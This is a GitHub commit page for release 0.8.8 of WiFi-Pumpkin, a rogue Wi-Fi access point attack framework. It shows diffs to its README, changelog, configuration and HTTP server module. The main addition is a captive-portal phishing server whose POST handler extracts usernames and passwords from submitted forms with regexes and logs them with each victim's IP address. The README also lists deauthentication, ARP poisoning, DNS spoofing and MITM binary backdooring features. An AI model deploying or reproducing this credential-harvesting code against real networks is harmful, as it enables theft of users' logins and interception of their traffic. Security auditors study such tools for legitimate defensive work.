Skip to content
This repository was archived by the owner on Apr 19, 2020. It is now read-only.

Commit fba63f2

Browse files
authored
released 0.8.8
released 0.8.8 is out
2 parents 355e1e2 + 158e435 commit fba63f2

File tree

163 files changed

+61740
-24
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

163 files changed

+61740
-24
lines changed

CHANGELOG

100755100644
+5
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,8 @@
1+
Version 0.8.8
2+
-------------
3+
- added new moduled captive portal plugin
4+
- fixed TypeError: SetRules method
5+
16
Version 0.8.7
27
-------------
38
- modularized and auto loaded proxy package

README.md

+12-7
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
![logo](https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/master/docs/logo.png)
22

33
[![build](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin.svg)](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin/)
4-
![version](https://img.shields.io/badge/version-0.8.7-orange.svg)
4+
![version](https://img.shields.io/badge/version-0.8.8-orange.svg)
55

66
WiFi-Pumpkin - Framework for Rogue Wi-Fi Access Point Attack
77

88
### Description
99

1010
The WiFi-Pumpkin is a rogue AP framework to easily create these fake networks, all while forwarding legitimate traffic to and from the unsuspecting target. It comes stuffed with features, including rogue Wi-Fi access points, deauth attacks on client APs, a probe request and credentials monitor, transparent proxy, Windows update attack, phishing manager, ARP Poisoning, DNS Spoofing, Pumpkin-Proxy, and image capture on the fly. moreover, the WiFi-Pumpkin is a very complete framework for auditing Wi-Fi security check the list of features is quite broad.
1111

12-
![screenshot](https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/0.8.7Beta/docs/screenshot.png)
12+
![screenshot](https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/master/docs/screenshot.png)
1313

1414
### Installation
1515

@@ -24,7 +24,7 @@ The WiFi-Pumpkin is a rogue AP framework to easily create these fake networks, a
2424
or download [.deb](https://github.com/P0cL4bs/WiFi-Pumpkin/releases) file to install
2525

2626
```sh
27-
sudo dpkg -i wifi-pumpkin-0.8.7-all.deb
27+
sudo dpkg -i wifi-pumpkin-0.8.8-all.deb
2828
sudo apt-get -f install # force install dependencies if not install normally
2929

3030
```
@@ -52,13 +52,10 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik
5252
- TCP-Proxy (with [scapy](http://www.secdev.org/projects/scapy/))
5353
- Moduled plugins and proxys
5454
- Wireless Mode support hostapd-mana/hostapd-karma attacks
55+
- Capitve-portals [new]
5556

5657
### Donation
5758

58-
##### Patreon:
59-
60-
[![Patreon](https://cloud.githubusercontent.com/assets/8225057/5990484/70413560-a9ab-11e4-8942-1a63607c0b00.png)](http://www.patreon.com/wifipumpkin)
61-
6259
##### paypal:
6360

6461
[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL)
@@ -76,6 +73,8 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik
7673
| [Sergio_proxy](https://github.com/supernothing/sergio-proxy) | Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an HTTP proxy that was written in Python for the Twisted framework. |
7774
| [BDFProxy](https://github.com/davinerd/BDFProxy-ng) | Patch Binaries via MITM: BackdoorFactory + mitmProxy, bdfproxy-ng is a fork and review of the original BDFProxy @secretsquirrel. |
7875
| [Responder](https://github.com/lgandx/Responder) | Responder an LLMNR, NBT-NS and MDNS poisoner. Author: Laurent Gaffie |
76+
| [PumpkinProxy]() | Intercepting HTTP data, this proxy server that allows to intercept requests and response on the fly
77+
| [CaptivePortals]() | Captive-Portal allow the Attacker block Internet access for users until they open the page login page where a password is required before being allowed to browse the web. |
7978

8079
### Transparent Proxy
8180

@@ -197,6 +196,12 @@ class ExamplePlugin(PSniffer):
197196

198197
[TCP-Proxy](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/TCP-PProxy) on the wiki
199198

199+
#### About Captive Portals
200+
201+
the plugin Captive-Portal allow the Attacker mount a wireless access point which is used in conjuction with a web server and iptables traffic capturing rules to create the phishing portal. Users can freely connect to these networks without a password and will often be directed to a login page where a password is required before being allowed to browse the web.
202+
203+
[Captive-portals](https://github.com/mh4x0f/captiveportals) on the wiki
204+
200205
### Screenshots
201206

202207
[Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki

core/config/app/captive-portal.ini

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
[plugins]
2+
FlaskDemo=true
3+
Login_v4=false
4+
loginPage=false
5+
DarkLogin=false
6+
7+
[set_FlaskDemo]
8+
Default=true
9+
En=false
10+
ptBr=false

core/config/app/config.ini

+1
Original file line numberDiff line numberDiff line change
@@ -127,6 +127,7 @@ Pumpkin%20Proxy=true
127127
BDF%20Proxy=false
128128
No%20Proxy=false
129129
TCP%20Proxy=true
130+
Captive%20Portal=false
130131

131132
[iptables]
132133
iptables_0_masq=iptables -P FORWARD ACCEPT

core/config/commits/Lcommits.cfg

+6
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,10 @@
11
master:
2+
[
3+
{ Version: '0.8.8'}
4+
{ changelog : 'added new moduled captive portal plugin' },
5+
]
6+
7+
WiFiPumpkin087:
28
[
39
{ Version: '0.8.7'}
410
{ changelog : 'fixed version beta alert and constants' },

core/main.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@
4444
for mount Access point.
4545
4646
Copyright:
47-
Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
47+
Copyright (C) 2015-2019 Marcos Bomfim (Nesster) P0cl4bs Team
4848
This program is free software: you can redistribute it and/or modify
4949
it under the terms of the GNU General Public License as published by
5050
the Free Software Foundation, either version 3 of the License, or
@@ -63,8 +63,8 @@
6363
author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team'
6464
6565
license = ' GNU GPL 3'
66-
version = '0.8.7'
67-
update = '10/21/2018'
66+
version = '0.8.8'
67+
update = '04/06/2019'
6868
desc = ['Framework for Rogue Wi-Fi Access Point Attacks']
6969

7070
class Initialize(QtGui.QMainWindow):

core/servers/http_handler/ServerHTTP.py

+120-2
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
from PyQt4.QtCore import QThread,pyqtSignal
22
from core.utils import setup_logger
3-
from core.utility.constants import LOG_PHISHING
3+
from core.utility.constants import LOG_PHISHING,LOG_CAPTIVEPORTALPROXY
44
import SimpleHTTPServer
55
import BaseHTTPServer
66
import SocketServer
@@ -9,6 +9,7 @@
99
import logging
1010
import socket
1111
import cgi
12+
import re
1213

1314

1415
class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
@@ -123,4 +124,121 @@ def stop(self):
123124
try:
124125
self.httpd.shutdown()
125126
self.httpd.server_close()
126-
except AttributeError: pass
127+
except AttributeError: pass
128+
129+
130+
131+
class ThreadCaptivePortalHTTPServer(QThread):
132+
''' server http for website custom module Phishing '''
133+
requestCredentails = pyqtSignal(object)
134+
requestLogin = pyqtSignal(object)
135+
def __init__(self,Address,PORT,plugin=None,session=str()):
136+
self.Address,self.PORT = Address,PORT
137+
self.session = session
138+
self.Handler = ServerHandlerCaptivePortal
139+
self.Handler.redirect_Original_website = plugin.Redirect
140+
self.Handler.redirect_Path = plugin.TemplatePath
141+
QThread.__init__(self)
142+
143+
def run(self):
144+
self.httpd = None
145+
#self.httpd = MyHTTPServer((self.Address, self.PORT), self.Handler,on_before_serve = self.httpd)
146+
self.Handler.log_message_creds = self.Method_POST_DATA
147+
self.Handler.log_message_post = self.Mehtod_POST_LOG
148+
setup_logger('captivePortal', LOG_CAPTIVEPORTALPROXY, key=self.session)
149+
self.log_captiveportal = logging.getLogger('captivePortal')
150+
#self.httpd.serve_forever()
151+
152+
def Method_POST_DATA(self,format, *args):
153+
self.log_captiveportal.info(list(args)[0])
154+
self.requestCredentails.emit(list(args)[0])
155+
156+
def Mehtod_POST_LOG(self, format, *args):
157+
self.requestLogin.emit(list(args)[0])
158+
159+
def stop(self):
160+
try:
161+
self.httpd.shutdown()
162+
self.httpd.server_close()
163+
except AttributeError: pass
164+
165+
166+
167+
class ServerHandlerCaptivePortal(SimpleHTTPServer.SimpleHTTPRequestHandler):
168+
''' server http for website clone module Phishing'''
169+
redirect_Original_website,redirect_Path = None,None
170+
171+
def do_GET(self):
172+
if self.path =='/':self.path = self.redirect_Path
173+
if self.path.startswith('/'): self.path = self.redirect_Path + self.path
174+
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
175+
176+
def log_message_creds(self, format, *args):
177+
return
178+
179+
def log_message_post(self, format, *args):
180+
return
181+
182+
def log_message(self, format, *args):
183+
return
184+
185+
def redirect(self, page="/"):
186+
187+
# https://stackoverflow.com/questions/7160737/python-how-to-validate-a-url-in-python-malformed-or-not
188+
regex = re.compile(r'^(?:http|ftp)s?://' # http:// or https://
189+
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain...
190+
r'localhost|' #localhost...
191+
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
192+
r'(?::\d+)?' # optional port
193+
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
194+
195+
if re.match(regex, page):
196+
if not page.startswith('http://'):
197+
page = 'http://' + page
198+
self.send_response(301)
199+
self.send_header('Location', page)
200+
self.end_headers()
201+
else:
202+
self.path = self.redirect_Path + self.path + self.redirect_Original_website
203+
204+
def do_POST(self):
205+
redirect = False
206+
207+
try:
208+
content_length = int(self.headers['Content-Length'])
209+
post_data = self.rfile.read(content_length)
210+
print(post_data)
211+
212+
213+
user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \
214+
'[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
215+
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \
216+
'[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)'
217+
username = re.findall(user_regex, post_data)
218+
password = re.findall(pw_regex, post_data)
219+
220+
if not username ==[] and not password == []:
221+
self.log_message_creds('',{'CaptiveCreds':{'User':username[0][1],
222+
'Pass': password[0][1], 'Client': self.client_address[0]}})
223+
redirect = True
224+
except:
225+
pass
226+
227+
# form = cgi.FieldStorage(
228+
# fp=self.rfile,
229+
# headers=self.headers,
230+
# environ={'REQUEST_METHOD':'POST',
231+
# 'CONTENT_TYPE':self.headers['Content-Type'],
232+
# }
233+
# )
234+
235+
# if not form.list: return
236+
# redirect = True
237+
# for item in form.list:
238+
# if item.name and item.value:
239+
# self.log_message('',item.name+' : '+item.value)
240+
if redirect:
241+
# send confirmation the cliente this to access to server
242+
self.log_message_post('', self.client_address[0])
243+
self.redirect(self.redirect_Original_website)
244+
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)

0 commit comments

Comments
 (0)